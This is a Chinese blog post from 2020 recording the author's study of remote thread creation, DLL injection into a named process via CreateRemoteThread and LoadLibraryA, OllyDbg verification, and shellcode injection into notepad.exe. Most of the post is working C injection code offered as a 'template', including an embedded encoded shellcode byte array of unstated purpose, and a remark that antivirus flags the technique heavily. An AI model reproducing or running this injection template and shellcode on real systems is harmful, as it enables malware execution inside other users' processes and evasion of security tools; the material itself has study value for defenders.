学习:远程线程实现DLL注入和shellcode注入以及OD调试原理

远程线程:

#include<windows.h>
#include<stdio.h>

//函数地址:00C31740


int main() {
	
	HANDLE hThread;
	HANDLE hProcess;

	// 1、得到要在其进程中创建线程的进程句柄
	hProcess = OpenProcess(PROCESS_ALL_ACCESS,false,10940);

	if (hProcess == NULL) {
		OutputDebugString("OpenProcess fail");
		return -1;
	}
        // 2、通过进程句柄创建线程
	hThread = CreateRemoteThread(
		hProcess,
		NULL,  //获取默认的安全描述符,当前用户的令牌权限 
		0,  //使用可执行文件的默认大小
		(LPTHREAD_START_ROUTINE)0x010817E0,  // 创建线程调用的函数
		NULL,  // 传递函数中的参数
		0, //线程在创建后立即运行 
		NULL // 不返回线程标识符
	);

	if (hThread == NULL) {
		OutputDebugString("CreateRemoteThread fail");
		CloseHandle(hProcess);
		return -1;
	}

	printf("线程启动!\n");

        // 3、释放资源
	CloseHandle(hThread);
	getchar(); //进行堵塞
	return 0;

}

远程线程注入

#include<Windows.h>
#include<Tlhelp32.h>
#include<stdio.h>
/*
远程线程注入
代码写的不太严谨,大家谅解
*/

DWORD GetOneProcessPid(const char *FileName) {
	HANDLE hSnapShot;
	PROCESSENTRY32 pro32;

	pro32.dwSize = sizeof(PROCESSENTRY32);
	// 1、获得当前进程的快照

	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	if (hSnapShot == INVALID_HANDLE_VALUE) {
		return -1;
	}

	bool bMore;
	// 2、遍历进程的名称是否为指定名称,获取指定进程名称的PID
	bMore = Process32First(hSnapShot, &pro32);
	while (bMore) {
		// 3、获取指定进程名称的PID
		if (!strcmp(pro32.szExeFile, FileName)) {
			return pro32.th32ProcessID;
		}
		bMore = Process32Next(hSnapShot, &pro32);  		//遍历
	}

	// 4、释放资源
	CloseHandle(hSnapShot);

	return 0;
}
DWORD WINAPI ThreadProc(LPVOID lpParameter) {
	return 0;
}

bool LoadDll(DWORD ProcessPid,const char *DllPath) {
	HANDLE hProcess;
	DWORD DllPathLen;
	PDWORD addr;
	HMODULE hModule;
	PDWORD FuncAddr;


	// 1、获取要注入进程的句柄
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessPid);
	if (hProcess == NULL) {
		return false;
	}

	// 2、获取DLL的信息
	DllPathLen = strlen(DllPath) + 1; //+1的原因结尾需要\0 结尾

	// 3、申请指定进程中的内存
	addr = (PDWORD)VirtualAllocEx(
		hProcess, //申请指定进程的句柄
		NULL,  // 安全描述符
		DllPathLen,  // 申请内存的字节大小
		MEM_COMMIT,  // 
		PAGE_READWRITE // 内存的属性
	);

	printf("%x", addr);


	// 4、将DLL的信息写入到要注入的进程内存中
	WriteProcessMemory(hProcess, addr, DllPath, DllPathLen, NULL);

	// 5、要获取其进程的LoadLibraryA/W的函数地址,该函数保存在系统中的Kernel32.dll中,那么需要先获得Kernel32.dll的句柄
	hModule = GetModuleHandle("Kernel32.dll");

	// 6、从中获得LoadLibraryA/W的函数地址
	FuncAddr = (PDWORD)GetProcAddress(hModule, "LoadLibraryA"); //返回值为函数地址
	
	// 7、注入到指定进程中进行加载内存中申请的DLL信息,把LoadLibraryA的地址作为函数 来加载addr,也就是DLL的路径
	CreateRemoteThread(hProcess, NULL, 0, LPTHREAD_START_ROUTINE(FuncAddr), addr, 0, NULL);
	
	return true;
}


int main() {
	LoadDll(GetOneProcessPid("x.exe"),"C:\\Users\\dell\\Desktop\\test\\DLL2.dll");
	return 0;
}

OD调试:

1、用OD附加被注入的进程

2、在代码printf("%x", addr);,我这里显示的是如下

OD中数据窗口跟随00690000,显示如下

此时注入程序已经走过了WriteProcessMemory,到了GetProcAddrss代码段

继续走完,然后OD F9一次,让被注入的进程跑起来,打开加载的模块窗口,发现模块中加载了DLL2.dll,线程注入成功


shellcode注入的手段:被杀的很严重,估计是VirtualAllocEx特征太明显

模板参考:

#include<Windows.h>
#include<Tlhelp32.h>
#include<stdio.h>



DWORD GetOneProcessPid(const char *FileName) {
	HANDLE hSnapShot;
	PROCESSENTRY32 pro32;

	pro32.dwSize = sizeof(PROCESSENTRY32);
	// 1、获得当前进程的快照

	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

	if (hSnapShot == INVALID_HANDLE_VALUE) {
		return -1;
	}

	bool bMore;
	// 2、遍历进程的名称是否为指定名称,获取指定进程名称的PID
	bMore = Process32First(hSnapShot, &pro32);
	while (bMore) {
		// 3、获取指定进程名称的PID
		if (!strcmp(pro32.szExeFile, FileName)) {
			return pro32.th32ProcessID;
		}
		bMore = Process32Next(hSnapShot, &pro32);       //遍历
	}

	// 4、释放资源
	CloseHandle(hSnapShot);

	return 0;
}

DWORD WINAPI ThreadProc(LPVOID lpParameter) {
	return 0;
}

bool LoadShellcode(DWORD ProcessPid) {
	HANDLE hProcess;
	DWORD ShellcodeLen;
	PDWORD addr;
	char shellcode[] = 
		"\xf6\xe2\x88\x0a\x0a\x0a\x6a\x83\xef\x3b\xca\x6e\x81\x5a\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\xa6\x36\x6b\x76\x08\x26"
		"\x2a\xcb\xc5\x07\x0b\xcd\xe8\xf8\x58\x5d\x81\x58\x1a\x81\x40\x36\x81\x46\x1b\x72\xe9\x42\x0b\xdb\x5b\x81\x53\x2a\x0b\xd9\x81\x43\x12\xe9\x30\x43"
		"\x81\x3e\x81\x0b\xdc\x3b\xf5\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfc\x09\x77\xf2\x31\x77\x2e\x7f\xee\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81"
		"\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x55\x55\x50\x81\x18\xe1\x87\x57\x62\x39\x38\x0a\x0a\x62\x7d"
		"\x79\x38\x55\x5e\x62\x46\x7d\x2c\x0d\x83\xe2\xf5\xda\xb2\x9a\x0b\x0a\x0a\x23\xce\x5e\x5a\x62\x23\x8a\x61\x0a\xf5\xdf\x60\x00\x62\x72\x45\x48\x30"
		"\x62\x08\x0a\x14\x6b\x83\xec\x5a\x5a\x5a\x5a\x4a\x5a\x4a\x5a\x62\xe0\x05\xd5\xea\xf5\xdf\x9d\x60\x1a\x5c\x5d\x62\x93\xaf\x7e\x6b\xf5\xdf\x8f\xca"
		"\x7e\x00\xf5\x44\x02\x7f\xe6\xe2\x6d\x0a\x0a\x0a\x60\x0a\x60\x0e\x5c\x5d\x62\x08\xd3\xc2\x55\xf5\xdf\x89\xf2\x0a\x74\x3c\x81\x3c\x60\x4a\x62\x0a"
		"\x1a\x0a\x0a\x5c\x60\x0a\x62\x52\xae\x59\xef\xf5\xdf\x99\x59\x60\x0a\x5c\x59\x5d\x62\x08\xd3\xc2\x55\xf5\xdf\x89\xf2\x0a\x77\x22\x52\x62\x0a\x4a"
		"\x0a\x0a\x60\x0a\x5a\x62\x01\x25\x05\x3a\xf5\xdf\x5d\x62\x7f\x64\x47\x6b\xf5\xdf\x54\x54\xf5\x06\x2e\x05\x8f\x7a\xf5\xf5\xf5\xe3\x91\xf5\xf5\xf5"
		"\x0b\xc9\x23\xcc\x7f\xcb\xc9\xb1\xfa\xbf\xa8\x5c\x60\x0a\x59\xf5\xdf";
	
	// 1、获取要注入进程的句柄
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessPid);
	if (hProcess == NULL) {
		return false;
	}
	
	// 2、获取shellcode的信息
	ShellcodeLen = sizeof(shellcode); //+1的原因结尾需要\0 结尾
	
	// 3、申请指定进程中的内存
	addr = (PDWORD)VirtualAllocEx(
		hProcess, //申请指定进程的句柄
		NULL,  // 安全描述符
		ShellcodeLen,  // 申请内存的字节大小
		MEM_COMMIT,  // 
		PAGE_READWRITE // 内存的属性
		);
	
	printf("%x", addr);

	// 4、将shellcode的信息写入到要注入的进程内存中
	WriteProcessMemory(hProcess, addr, shellcode, ShellcodeLen, NULL);


	CreateRemoteThread(hProcess, NULL, 0, LPTHREAD_START_ROUTINE(addr), 0, 0, NULL);

	return true;
}


int main() {
	LoadShellcode(GetOneProcessPid("notepad.exe"));
	return 0;
}
posted @ 2020-02-04 14:39  zpchcbd  阅读(1539)  评论(0)    收藏  举报